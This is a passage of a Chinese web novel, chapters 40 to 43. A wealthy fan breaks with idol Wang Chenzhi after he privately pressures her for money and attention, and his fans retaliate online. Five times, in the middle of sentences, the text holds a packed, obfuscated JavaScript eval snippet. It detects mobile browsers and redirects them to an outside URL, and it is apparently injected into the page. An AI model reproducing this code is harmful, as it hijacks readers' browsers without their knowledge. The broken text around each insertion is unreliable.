凌钰还是第一次跟艺人这样沟通，上次在救灾现场那是特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138470|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殊情况，哪怕发消息也都只是“我们吃完了”或者“来了”、“走了”之类很简单的对话。 现在王晨之突然发来这么一大段，还喊她“姐姐”，哪怕自己确实比他大，凌钰一时也有些愣住，大脑像是被掏空了一般，不知道该如何回应。 也许是她这边停顿的时间太久，也许王晨之本身就是个话痨，总之她还没想好究竟该怎么回，对面很快又接二连三地发了好几条消息来，这次不是文字，而是变成了语音。 “是被我吓到了吗姐？是我啊王晨之，不会是改了昵称不知道是谁了吧？” “姐你怎么突然花这么多钱买电器抽奖送粉啊？其实我跟付一的关系没有粉丝想象的那么差啦，我们前段时间还一起吃饭来着，但是不管我们怎么解释粉丝们都不听，我也不知道有什么更好的办法了。” “你想啊，我们毕竟还是一个团的，付一是我队友，你也算跟我接触过，是知道我脾气的，我怎么可能背后说人坏话什么的？但是没办法，当时公司选秀的时候就是竞争关系，后来又分开发展……” “哎，总之这个事一时半会也说不清了。” “但是你还是不用给我花这么多钱的，而且我那天把房车借给你们也不是图这个，当时就是纯粹觉得你们刚来，太累了，真没有别的意思。” “后来在微博跟你互动，我也是玩笑成分居多，没想到你真的把我当正主了，我自己现在混成这样，都不好意思让人粉，真的。我的粉丝平时也不正经氪金，反正品牌方也知道我的商业价值就那样，图的就是签我便宜。” “要不这样，你给我个银行账户，我给你把钱转回去吧？” 语音太长，一条接着一条，凌钰听了大半天才好不容易听完，虽然王晨之的态度十分诚恳，但退钱这件事实在是有点……她想了想，打字回复道：“不用不用，是我自己想买，真没事。” 对面得到回应，终于消停下来，过了好一会儿才回了一条：“那好吧。” 微博上，因为【我来追星了】的强势加入，两家的战力顿时出现了质的悬殊，就连吃瓜路人看了都摇头。 【这还怎么吵？那个付一我都不知道是谁，王晨之我至少还听说过名字，而且这位氪金粉是真氪金，你看看自从她粉了聂嘉远，聂嘉远现在是什么咖位？这可是真金白银砸出来的，一个粉抵人家一千个粉都不止。】 【根本不是一个量级的，付一家粉丝这么高贵，要不也氪金一个看看呢？但凡有一个能打的，也不至于全靠嘴上工夫。】 【吵架的时候知道上，花钱的时候各个往后退，都说穷，没钱。】 【虽然我不知道王晨之，但我还不知道我来追星了吗？】 手机上的倒计时仍在继续，眼看着开奖时间就要到了，凌钰下意识刷新页面，就见刚才好不容易安静了的微信又跳出了消息。 “汁橙王：你不肯接受退钱，那要不这样，我请你吃顿饭吧，真怪不好意思的这么麻烦你，就当我的谢礼。” 接着又是语音：“姐你不要拒绝我啊，要不然我这心里真过意不去了。” 40.第 40 章 如果是十年前刚开始追星的她遇到这样的事，大概率是要兴奋得不知所措，又忍不住心存幻想的。 那时她也还年轻，初恋追星，难免会把汹涌的爱意和所有的感情都寄托在某个人身上。 所以对林业，她总是包容的，溺爱的，永远存着心疼永远站在对方的角度考虑，午夜梦回，有时也会去想那种很不切实际的问题：假如有一天—— 少女心事，谁没做过和偶像恋爱的美梦？ 只是后来随着年纪越大，阅历越多，那些曾经天马行空想象的“假如”便也成了过眼云烟。 追星越久凌钰越明白，那些所谓的“美梦”其实都不该实现，也并不美好，追星越久凌钰越希望，永远不要有那么一天，因为如果真的有了，那她的爱豆必然已经塌得不能再塌。 粉丝和偶像之间最好的关系，不是占有，而是他一往无前，你摇旗呐喊，他不辜负粉丝的期待做到最好，你因为他的努力被影响也能成为更好的人。 十年，耗费了凌钰几乎全部的时间金钱和精力，那时她深陷其中，往往看不分明，而今再回头，才发现更像大梦一场。 也许是受过极致的伤害，也许是大梦初醒后看待事物的角度变得不同，又也许是当某一天你站的足够高，再低头往下看时，就会有种一览众山小的感觉，凌钰看着王晨之发来的消息，并没觉得欣慰，反倒生出些怪异。 他的态度很诚恳，微信语音和之前见面时说话的语气并没什么不同，但凌钰还是很简单地回复了文字：“真不用了，你好好工作就好！” 大概是她的拒绝确实果断，这回王晨之又过了很久才回复：“那好吧。” 三十分钟，微博开奖。 凌钰一一检查完中奖人的身份，结果26台小家电26个中奖人，里面有一半都不符合条件，只能重新发博再抽。 一连折腾了三回，在屏幕上的倒计时即将进入最后半小时之前才终于完成任务，银行卡到账，凌钰也松了一口气。 虽说这次的金额只有十万，也不涉及附赠寿命问题，但苍蝇腿再小也是肉，她可不想好端端的被倒扣十万块。 尤其是，她现在心里还多了一层顾虑。 因为数次抽奖，#王晨之付一#的话题下早已被小橙子占领，双方的战力高下立现，先前还算是你来我往，现在已经成了单方面碾压。 【负分们怎么没声了？刚才还有负分想要参加我家的抽奖诶，嘴上说着看不上我们小王，行动上又控制不住自己，我可都截图了，让我们看看负分的嘴脸。真让你中奖了你舍得扔吗？哈哈哈！】 下面配图是截的一个负分两个截然不同评论的拼图。 【@付负得正：是真的抽奖吗？我也来试试，不会是虚假抽奖吧？真的中奖了我收到东西就扔垃圾桶，顺便再用爆竹轰一轰，去去晦气！】 【@付负得正：傻子才扔，真中奖了我就放家里给我爸妈用，跟什么过不去也不能跟钱过不去啊哈哈哈！】 这条之后顿时全是嘲讽。 【负分这是在干什么？你们的骨气呢？你们作为所谓演员粉的骨气呢？我们王晨之这种综艺咖的东西你们怎么也想用啊？】 【看来还真是吃不到葡萄就说葡萄酸，你们看不上王晨之又有什么用，人家追星姐就是看上了啊，有本事你们也让追星姐给你们爱豆氪金撒。哦，不对，付一现在有自己的商务吗？恐怕想氪都没东西可氪。】 【别再捆绑了好吗？当年跟你家炒CP就是王晨之一辈子的污点，现在还不要脸地纠缠着不放，别来沾边好吗？王晨之已经是另外一个Level了！】 【还好追星姐的抽奖审核一直很严格，就算他们中奖了也不符合条件，否则真要让他们用上我们小王代言的东西，我们才要放炮竹去晦气好吧？】 比起之前家园们的发言，橙子们的言语伤害明显强了几倍不止，凌钰一时间还真有点不习惯。在她看来，粉丝言行有时和正主的某些特质还是会有相似，只是有人吸取了好的一部分，也有人追随了坏的一部分。 譬如现在，明明已经占尽上风还要咄咄逼人，也许就和王晨之平时有点得理不饶人有关。 #王晨之付一#的话题还在，排名不仅没有下降，甚至有了逐渐上升的趋势。 小橙子们耀武扬威，负分们冷嘲热讽，双方的大战竟愈演愈烈。发黑图的，发各种黑料证据的，P遗照和恐怖图片的，凌钰越看越生出一股不详的预感。 最了解你的人永远是你的对家。 付一粉丝发出来的很多东西真实性有待考证，但有些截图却有据可查。 譬如其中有一条娱乐八卦，说某个粉丝为了见喜欢的明星花了上百万，结果最后只是在活动现场看了一眼，并没有得到真正单独相处的机会，感觉被骗了，要让明星还钱。 王晨之在下面回复：【你情我愿的事，怎么能算骗呢？】 看评论的时间，明显是在他出道之前，凌钰连忙返回主页去搜关键字，居然真的看到了这条。也因为骂战升级，很多人都翻到了现场。 【我的天，还真是本人，这就是最会媚粉的王晨之吗？】 【哈哈哈哈，那帮橙子怎么不赶紧提醒王晨之来把这条删掉啊？祝你们以后都有这样的偶像，被骗了是你情我愿哦。】 【他出道前把整个微博的内容全都删过一遍，但架不住在别的地方评论得太多了，估计没删干净。早知道这么不经扒，还不如当初重新建个号呢！】 【重新建号也没用，这个号当初也算是个小网红了，他长成这样能憋得住吗？也就是some这个组合太糊了，其实以前还爆过更辣眼睛的，都被公司处理掉了，而且爆了也没人关注，糊糊的，很安心。】 【追星姐大跌眼镜，原来你是这样的王晨之。】 【说不定那位氪金粉就喜欢花钱呢，你情我愿哦。】 除了这条，再往下还有一个微信截图，虽然头像昵称和现在的王晨之都不同，但这位【王橙子】和粉丝的对话如下： “姐姐，你就帮我这一回，最后一回，到时候见面了你想干什么都可以的，我除了求你真的不知道该求谁了。他们都说我家里条件好，可我爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145821|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈让我进圈，就是想让我赚钱的，怎么会舍得给我花钱？” “好，那最后一次，我买你的代言，你能答应跟我在一起吗？” “姐姐你先买嘛，你也知道的，爱豆如果恋爱被发现，我的职业生涯就完了！” “所以你就是在骗我，对吗？你还是把我当猴子耍！” “真的没有，姐姐你相信我！” 这次粉丝没有再回复文字，而是发给了对方一个截图，截图中是【王橙子】和另外一个粉丝的微信聊天记录，第一句的开场白和发给她的一模一样。再后来粉丝发消息，对面就变成了—— “王橙子开启了朋友验证，你还不是他（她）朋友，请先发送朋友申请，对方通过后，才能聊天。” 粉丝又发送一条，对面变成了—— “消息已发出，但被对方拒收了。” 这都是什么跟什么？凌钰一时间只觉得头皮发麻，而之前堵在胸口的那点诡异也终于找到了突破口。 也许这件事从一开始就已经有迹可循，雪灾现场的好友邀请，一直没有再聊天的微信，她花了十万后立刻发来的语音…… 理智分析这桩桩件件，再结合今天的热搜内容。 按理说这个词条如果是对方安排的，付一的名字大概率会排在前面，而在战斗已经明显落于下风时，对方早就该撤热搜了。 可她的抽奖下场，情况已经得到了控制，热度却完全没有下降，是觉得这场炒作的讨论度还不够，曝光度也不够，希望能让某些平台看到他们的名字吗？只要付一不傻，都不可能做这种事。 他们很糊，也不存在别的对家。 那条微博下还有大批橙子在澄清。 【你说这个是王晨之微信就是王晨之微信了？我还说我也有王晨之微信呢！】 【一看就是P图，这对话框跟正常的显示都不一样。付一粉丝真是被气得脑子不清醒了吧？什么黑图都敢P了，欺负我家小王脾气好不随便告黑呗，某些人说话还是注意点，追星姐可是会告黑的。】 真是P图的吗？ 凌钰打开和王晨之的微信聊天对话框，想起他从【橙子王】改成【汁橙王】的昵称，看着今天和他聊天记录中最开始的“姐姐”，到后面一句接一句的“姐”，这世上哪里会有这么多的巧合？ 正准备回微博再看看情况，没想到【汁橙王】的微信就又发了过来。 “姐，微博不知道怎么回事还在吵，但是付一粉丝发的那些我真的没干过，至于那条微博回复也不是我本人回的，当时我的微博被盗了，我根本不知道！我现在已经去删掉了。” “姐你在哪？要不我当面来跟你解释吧，我现在刚好就在T市。” 别！救命！ 凌钰差点没吓得惊叫出声，霎时间塌房雷达启动，简直是飞速反应：“不了，真不用了。” 消息刚一出发，王晨之的微信电话打了进来。 这！是个爱豆该做的事吗？他想干嘛？！ 凌钰几乎本能挂断，可接着，王晨之的电话又不依不饶打了过来。 41.第 41 章 凌钰这辈子都没这么无语过。 比林业塌房进局子的时候都要无语。 虽说大家都不是什么好东西，但大约林业的野心更大，而当时的她也没钱没势，在粉群中更像是个勤勤恳恳的老黄牛，并没有引起偶像过多的关注，所以于她而言，至少林业没现在这个人这么可怕。 她一次次的挂断，他一次次地拨打，让她连删除拉黑的机会都没有，已经到了堪称骚扰的程度。 微信像是中毒了一般没完没了地往外跳提示，凌钰怎么也没想到，追个星而已，居然会碰上这么奇葩的情况。 也不知道王晨之是精于此道还是真的心急如焚，数十次微信电话没能打通之后，他又急不可耐地再次发来了消息：“姐姐你生我气了吗？” “姐姐，求你了接电话。” “快接啊，你不接我就一直打。” 也许从前他用这一招是很好使的，毕竟是遥不可及的明星，是熠熠生辉的偶像，年轻帅气，又是时下最吃香的小奶狗，但凡放下身段，便如高岭之花坠入凡间，很容易让人生出怜悯。 可惜这一回，他却聪明反被聪明误。 王晨之抽空发来示弱消息的空档，终于给了凌钰操作的机会，她找准时机以最快的速度点击删除好友，接着在对面发来好友申请时毫不犹豫地拒绝和拉黑。 真是疯了，凌钰万万没想到他是这样的人！ 救灾过后多少天都没有联系，她以为对方虽然热情，却也是有分寸的，谁知这并非分寸，而是将她当做了备选之一，花钱少时先摆在一边等待时机，花钱多了之后立刻贴上来，想要有下一步的行动。 一个刚刚有点起色的新晋爱豆，一个名声在外的氪金粉，如果真的私下单独见面，他想过后果吗？ 凌钰其实也不愿意将人性往坏处想，可防人之心不可无。 这人与先前的聂嘉远不同，而她现在的处境也和最初选择聂嘉远时不一样了。 事情越离谱，凌钰反而能越冷静地思考，其实归根结底，王晨之所谓的媚粉就是私联，只是这个人很懂得趋利避害，用糊做了自己的保护色。 凌钰现在并不能确定他做人方面还有没有别的问题，也许他确实有好的一面，譬如在雪灾来临时第一个冲往前线，但作为爱豆，像刚刚那样不理智的行为怎么看怎么不稳妥，即使今天没塌，早晚也会出事。 手机终于安静下来，凌钰第一次发觉，自己看待问题的角度也已经变得和从前不同了。 大概还是因为有钱了？ 身处位置不同，再去看，很多事情就都变了味。 如果是几年前，她的偶像哪怕只是广泛在微博发个声明她都会甘之如饴，如果能有联系方式，能私下跟她解释约她见面，那大概更要觉得是天上掉馅饼，而不是像如今，像是脚踩大陷阱。 这人不稳当。 跑！必须马不停蹄地跑！ 凌钰一秒都不想听那些解释，重新点进微博，就见王晨之果然已经转战私信。 她之前每天都会给两位正主发送“谨言慎行，遵纪守法”的私信，聂嘉远虽然次次都会自动回复“您好，我是聂嘉远”，却隔一段时间会多回一条“收到”。而王晨之那边却如石沉大海，没有一点动静。 但今天这动静却如翻江倒海。 “@王晨之：姐你为什么要删我微信拉黑我？那些真的不是我做的！” “我如果真的能说出那条微博评论里的话，又怎么可能发消息问你要把钱退给你呢？而且那个微信截图也是假的，我如果真的说自己没钱用，怎么可能告诉你我有钱，当初又怎么可能把自己的房车开去灾区？” “姐那些真的是谣言！你也是被造谣过的人，为什么不能相信我呢？我要怎么说你才肯相信？” “我一直以为上次之后我们就是朋友了，网上的那些人毕竟没有真的跟我接触过，可你是接触过我的啊！耳听为虚眼见为实，我都能为灾区捐款那么多，带着那么多物资去前线帮忙，我怎么可能做出那种事？” 他的私信连发了十几条，而同一时间，凌钰还收到了很多别的私信。 有负分们发来的各种截图，有橙子们发来的澄清，有吃瓜路人的好奇私聊，一堆消息中，凌钰还看到了王晨之某位大粉发来的消息。 “追星姐，你能听小王解释一下吗？他刚刚找到我，都哭了。” “在他心里，每一位粉丝都很重要，要是你突然不理他了，脱粉了，我害怕他真的撑不过去，他好不容易才有了一个像样的氪金粉。你不知道他这些年真的很难……” “公司看似对他还算重视，可永远只是安排他上综艺，‘综艺咖’的印记被打在身上，就很难消除掉了。但即使如此，他也把每一次节目都当作最后一次录制，他真的很努力很努力了。” “付一的粉丝对他一直意见很大，因为当时他们组过CP，对方就总觉得王晨之应该对付一更照顾一点，可凭什么呢？大家虽然是队友，也是对手啊。” “他家粉丝的话真的不能信的，我认识王晨之很多年了，真的不想他好不容易燃起希望就又被迫失望。” 如果到这凌钰还会觉得自己是不是真的想多了，把人想得太坏了，那看到接下来的这一句，她则立刻推翻了所有的犹疑，完全肯定了之前的全部猜测。 王晨之肯定有点问题！ 因为对方又发道：“你别看他好像是明星，其实家里条件是真的不太好，之前他跟我说过，他爸妈在他很小的时候就都没了，如果不是他因为长相意外进了娱乐圈，恐怕连养活自己都困难了。” 一会儿家里有钱，一会儿爸妈只想让他赚钱，一会儿爸妈都没了，他爸妈是什么薛定谔的爸妈吗？凌钰一时间真是不知道这人哪句话才是真的。 但这都不重要了。 凌钰当机立断点进王晨之的微博取关，又取关了所有和他相关的官号和后援会，生平第一次编辑脱粉声明。 按照【识人】app的要求，必须要公开脱粉，超话是不能直接进去发了，否则十有八九要被删掉，她干脆直接点进发帖页面，添加了王晨之超话的标签，编辑发送。 【@我来追星了：# ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154150|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王晨之超话#因个人原因，自本条微博发出时起，本人不再是王晨之的粉丝，王晨之不再是本人的正主，特此声明。】 消息发完，她进入主页，同样删除了个人简介中的“王晨之”。 下一瞬，【识人】app疯狂跳出提示。 最新提示：系统已优化。 最新提醒：您已脱粉正主2，为确保现有正主的正常任务能同时进行，避免重复威胁性命，系统暂不发布确认正主2任务，请您于当前附赠寿命即将用尽前做好相关准备。 最新提醒：警告！警告！警告！系统检测到即将发生超大规模舆情，请宿主做好应对准备。 凌钰点进app主页，看到下方有三个小小的人物头像。 正主1：聂嘉远。状态：正常。 正主2：王晨之。状态：已脱粉/未塌房。 王晨之那一栏变成了灰色，下方另起一行写着——正主2：暂未确定。 根据上次提交的意见，系统对大多数任务都做出了优化，现在就连重新找正主这件事的规则也有了些更改，明显合理很多。 不过那三个鲜红色的警告却还是让凌钰坐直了身子。 事情发生得突然，进展又十分诡异，每一步都朝着她意想不到的方向一路狂奔，也幸好她和房产中介约的时间是下午，否则还真要被打个措手不及。 正要细看【识人】里还有没有其他变动，孙致容的微信先跳了出来。 “姐妹，快看微博，王晨之发疯了！” “我才看到你的脱粉声明，结果再一点他的主页，乖乖，这家伙发了好长一篇长文诉苦，他疯了，他的粉丝也疯了。” “根据本人多年娱乐圈吃瓜经验，恐怕他粉丝不会那么轻易放过你，当时欢迎你时有多热情，现在回踩谩骂就会有多恶毒，我刚已经翻到好几条人身攻击的了！而且我发现，之前我们还是小看这些糊咖了。” “他们的粉丝不是不疯，是没机会，现在疯起来比那些顶流粉夸张多了，什么话都敢骂什么事都敢做，那真是光脚的不怕穿鞋的。” “你这两天还是小心一点，要真有不对劲立刻报警，千万别犹豫。” 系统才刚刚警告，孙致容就又来提醒，可见事态确实不容乐观，其实在做出这个决定之前，凌钰就已经很清楚自己即将面对的是什么。 因为即便她不是这所谓的“追星姐”，只是个普通小粉，平时再如何毫不起眼无人问津，贸然发脱粉声明也肯定要被冲——你脱粉就悄悄地脱，没事发什么声明？ 而一个好不容易有了盼头的爱豆，一群无比溺爱他想要他熬出头的粉丝，如果从未得到，可能也不会奢求，但得到后又骤然失去，还是这样公开的脱粉，更是要掀起轩然大波的。 只是这些恶意和王晨之突然显露出的不堪比起来实在不足为道。 兵来将挡，水来土掩。 凌钰点开微博，有那么一瞬间，因为收到的评论转发和私信太多，整个app都跟着卡了好几秒。 最新一条映入眼帘的，是一条含妈量极高的私信。 42.第 42 章 太多的“妈”字，让凌钰都有点不认识这个字了。 等终于能点进去细看，更是让她大开眼界。 说起来，这些年她也算是经历过大风大浪的。 当年林业和沈云峰对打，双方粉丝也曾吵个没完，那时的她虽然不如现在这样瞩目，可好歹也是老粉，难免被迫参与其中，看到的脏话和脏图已经比一般人一辈子看到的都多，但也没此刻这么叫她震惊。 各种生殖的器官和意想不到的词和句子组合在一起，无数换脸的黄图，黑白点蜡照，血腥恐怖动图短视频，真是应有尽有。 凌钰只大概扫了一眼，就很理智地选择返回主页。 骂得太脏太毒，与其一条条去深究让自己更加不爽，不如暂时性无视这铺天盖地骤然袭来的秽语污言。 当下最要紧的，还是弄清王晨之究竟发了些什么，让这群橙子如同打了鸡血，又像是一堆摆放爆竹的仓库被意外点燃，炸得噼里啪啦，甚至到了现在这样不管不顾的地步。 首页推荐上，王晨之的发言已经占据热门榜首，这条微博下评论量和转发量，比他出道那天官宣博的数据都翻了三倍不止。 【@王晨之：亲爱的粉丝朋友们，小橙子们，今天有些心里话想跟大家说。 some组合出道也快两年了，大家都说我们是新晋男团，可其实单就出道时间而言，我们已经不能算是新人。 之所以觉得“新”，不过是因为近两年的男团生活，能真正上台表演展示自我的机会屈指可数，我们与大家见面的机会太少，但每一次，我们每个人都很珍惜，很努力。 最近一年，我们组合成员各自发展，虽然很少有合体的时候，但我们是兄弟的事实永远不会改变。 不管是我还是我的兄弟们，都已经做了我们所能做的全部。很多人说我是“综艺咖”，说我这个爱豆居然沦落到这种地步，但在我看来，综艺和舞台没有贵贱之别，能在综艺节目里发光发热于我而言也很好啊。 不管做什么，我都想做好，我不觉得自己有错。 我承认我们组合的发展确实遇到了一些困难，但我们都在各自的领域努力着，我们问心无愧。无论是做公益，捐款，上前线救灾，都是我发自内心想要做的，我从不否认自己想红，可这与我做这些的初心并没有冲突和矛盾。 那天，我本以为是真诚终于打动了人，可我没想到，人的爱来得快去得也快。 我从来不强求我的粉丝永远喜欢我，你们可以来也可以走，你们是自由的，可我也是个人啊！我也会难过伤心，甚至会在午夜梦回时陷入自我怀疑。 我真的有这么差吗？ 我真的不配吗？ 我就应该连一句解释的机会都没有就被判死刑吗了？还是说，有些人原本就是有备而来，我不过是你们这些人闲来无事的消遣？ 真诚的希望再也不要发生这样的事了，也希望圈子里每个为梦想而奋斗努力的人，都不要经历我正在经历的事。 永远爱你们的——王晨之。】 如孙致容所说，这篇博文写得很长，文笔流畅起承转合，可以说是发自肺腑动人心魄，因真挚而情动，又难□□露出一些小小的遗憾和悲哀。 大概也是感受到了偶像的情绪，底下的橙子们纷纷心疼到不行。 【虽然我们天天都说你的背后空无一人，但你知道的，我们都是开玩笑的啊，小橙子永远是你最坚强的后盾。虽然不知道发生了什么，但永远支持你！】 【发生什么事了？是因为某个人公开声明脱粉吗？】 【因为某位队友还是某个粉丝啊？我们小王这么好的人为什么总被背刺？小王每次都说很珍惜队友，可队友粉每次都疯狂辱骂他，也从来不发声。】 【因为某位“氪金粉”吧？小王都说了队友之间永远是兄弟。心疼。之前我就觉得那人来得莫名其妙，只是当时大家都热烈欢迎，我也不想败坏气氛。谁知道这一天来得这么快！一个别人家的大粉，怎么可能真的会来我们家双担？】 【王晨之才是小橙子们的唯一正主，那些捧臭脚的现在看看吧，被人背刺的感觉怎么样？小王靠自己的努力走到今天，你们想让他从此一蹶不振吗？】 【有句话虽然说出来可能会被嘲，可是哥哥真的只有我们了。】 凌钰默默地往下又拉了一点，不知道为什么，总觉得眼前这画面有点熟悉，就好像当初林业虐粉时她们也曾觉得，哥哥是真的只剩下我们了。 结果哥哥不仅背叛了我们，还进了局子。 这人看似真诚的长篇大论，解释了他作为“综艺咖”的无奈，撇清了队内争端与他的关系，点明了他曾做过的好人好事，可最后的重点却都落在了某些可能别有用心接近他，又在获取他信任后抛弃他的人身上。 世人常说，以己度人。 有时你强加在旁人身上的罪名，往往是因为如果换做是你，你真的会那么做。 所以这个王晨之才是别有用心的接近她，利用她，也许还刻意了接近了聂嘉远，只是因为【识人】app刚好发布正主2的任务，他几乎不费吹灰之力就得到了自己想要的。 得来轻松，就以为往后的一切也都尽在掌控，所以他没立刻再有别的举动。 当然，也可能是暂时没想起来，而好不容易等来她的再次氪金，他就又起了心思，本以为是手到擒来的把戏，谁知凌钰却没上钩，他根本没来得及将她利用到极致之后再抛弃，就抢先被抛弃了。 于是这个本以为是执棋之人的小爱豆恼羞成怒，又或者是他在发觉事情被搞砸了之后冷静分析亡羊补牢，在最短的时间里做出了于他而言的最佳选择—— 利用这件事虐粉、固粉，并最后一次利用凌钰的流量吸粉，继而对标刚刚占据了顶流位置一角的聂嘉远，顺势将自己的身价咖位全部往上拉一档。 毕竟黑红也是红，总有平台和品牌是不在乎风评而只要话题的。 #王晨之凌钰#的话题已经进入上升榜，#王晨之聂嘉远#的话题也紧随其后。凌钰之前看过王晨之的超话，真正的活粉人数并不算多，但今天却像是细胞分裂了似的，数据成爆发趋势增长。 凌钰心情有些复杂。 是她自己站得还不够高， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165626|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以遇到这种事才会被动挨打。 即便她比以前有钱有名，不至于悄无声息地丢了性命都无人知晓，但说到底，她也还只是个普通的，稍微有点钱，比一般人厉害一点点的粉丝而已。 粉丝，是无法和艺人背后庞大的公司对抗的，一个人也很难和一个坚不可摧的团体斗争。假如有一天她成了资本，那么这些企图利用她的人，才必须得先提前掂量掂量。 好在舆情虽难，但如果不出意外，却是和金钱挂钩的。 两个话题的广场上已经一片混乱，数不清的橙子诅咒谩骂，就连聂嘉远都被牵扯其中。 【丑聂究竟想干什么？这个追星了不是他安排的吗？当时雪灾王晨之第一个去的前线，结果没多久他也去了，所以这两人是故意的！为什么？】 【为什么要对一个小爱豆下这么狠的手啊？还是说……追星的那位本来是真心的，结果丑聂嫉妒了，不让？好不容易有个能氪金的，见不得人家把钱花到其他人身上吧？】 【你们不觉得奇怪吗？毫无预兆就官宣脱粉，在这之前明明才花了十万。虽然十万对那位不一定算多，可花完突然就这样了……】 话题越聊越歪，阴谋论越说越邪乎。 从凌钰和聂嘉远故意设套，到凌钰被聂嘉远要求脱粉，到凌钰早就被聂嘉远人身控制，甚至最离谱的一个，竟然一本正经地得出了结论：其实【我来追星了】就是聂嘉远的小号！ 虽然场面混乱，但好在家园们更多的只是在投票洗广场，几乎没人跟对面交战。凌钰有些奇怪，骂得这么难听，按理说泥人也该有三分气性。 点进超话，果然看到家园们的帖子。 【相信同担的选择，所有人不要给眼神，只要洗广场把营销号前排占了就好，看到骂人的点举报，不要跟他们，现在任何的争论都是给对方送流量，专注自家广场！】 【事情来得古怪，冲动的战斗家园请注意！做任何事之前先把咱们各大官方群刚刚改过的公告仔细读三遍，然后再决定要不要做！】 什么群公告？ 凌钰虽然追星，可自打做了氪金粉之后就再也没有加过任何官方群，她随便点进几个群去看，果然看到群简介那一栏除了正常要求之外，最后都加上了一条：谨言慎行，专注自家，遵纪守法，理智追星！ 而大片的私信辱骂声中，凌钰又看到了特别关注的聂嘉远官方后援会。 “姐妹，有任何需要帮助的尽管开口。” 凌钰因为遇上王晨之和他那帮粉丝而生出的烦躁，被眼前的这些话彻底抚平。其实她们也可以视而不见的，却还是选择了给予她甚至不止精神上的支持。 但也许是被打之后无论是凌钰还是聂嘉远都没给予任何回应，王晨之那边的动静顿时越来越大，很快#王晨之聂嘉远#登顶热搜榜首，【识人】app也疯狂跳出了提示。 最新任务：本次解锁资金40000000元，请于2小时内用清该金额，并将所购物品送出，请确认同担身份，保证抽奖公正，不得由此产生争端，否则宿主将在倒计时结束后按照1:1比例扣除已拥有资金。 43.第 43 章 虽然已经看惯了有很多“0”的数字，凌钰还是低着头趴在手机上数了半晌，才终于确定自己没看错，这次的金额居然真的达到了惊人的四千万，可见风波影响之大。 广场上的内容不堪入目，除了本就义愤填膺满嘴脏话的橙子，还有大批趁乱来做搅屎棍的恒星，双方一拍即合，真是相见恨晚。 【任何和丑聂走近的人都会倒霉，前两天你们偏不信，还以为自己真攀上了高枝，结果看看，报应这不就来了？】 【现在知道我们恒星才是无妄之灾了吧？丑聂和那个氪金姐两人没问题我倒立吃翔。】 【想想看之前丑聂哪有现在的流量？可自从有了那位之后就节节高升，反而是那些跟他有过合作的，或者他的对家，明明之前的声誉都比他好，现在却都遇到了些倒霉事，我怀疑他们根本就是在吸别人的气运。】 【有些明星会养奇怪的东西，姓聂的不会也是吧？不怕遭反噬遭报应吗？】 【@我来追星了，敢发脱粉声明怎么不敢说原因？这样不明不白让人胡乱猜测对一个爱豆的职业生涯有多大伤害，我不信你不知道！滚出来说话，否则老娘绝对不可能放过你！】 【@聂嘉远@聂嘉远@聂嘉远，别装死，装死你今天出门就被车撞死！】 【我倒觉得真的有点奇怪的，那个我来追星了也是突然有一天就做了某聂的氪金粉，而且一氪不可收拾，这不奇怪吗？被下蛊了吧？】 【之前还说她是林业十年的粉丝，想想看，一个能坚持十年追同一个人的人，哪怕正主塌房进局子了，也没道理突然就爬墙成了另外一个人的死忠吧？而且她追林业十年花的钱都没有现在这几个月多。】 【这倒是，否则她早就该拥有姓名了。】 【我还是觉得某氪金粉更有问题，搞不好是洗什么黑钱的。那帮家园还只顾着洗广场，私下里还在帮着某氪金粉，也真不怕王晨之的今天就是丑聂的明天。】 一片混乱中，当然也有路人好奇。 【聂嘉远好端端的惹一个不红的男爱豆干嘛？而且要不是前两天有聂嘉远和那个氪金姐的微博，我都没听过这个王晨之。他根本就不红吧，哪来的气运？】 【脱粉肯定有原因啊，而且那姐氪金这么牛，好像还跟正主们认识，不管怎么样也应该比粉丝更清楚内幕，搞不好是知道什么了吧？】 【就跟站姐脱粉一样？】 但这点好奇很快被冲，大水几乎淹没整个广场，除了家园们还在奋力投票和搞宣传，其余全是谩骂。 凌钰没时间再去看这些，幸好系统之前就已经给了她提醒。 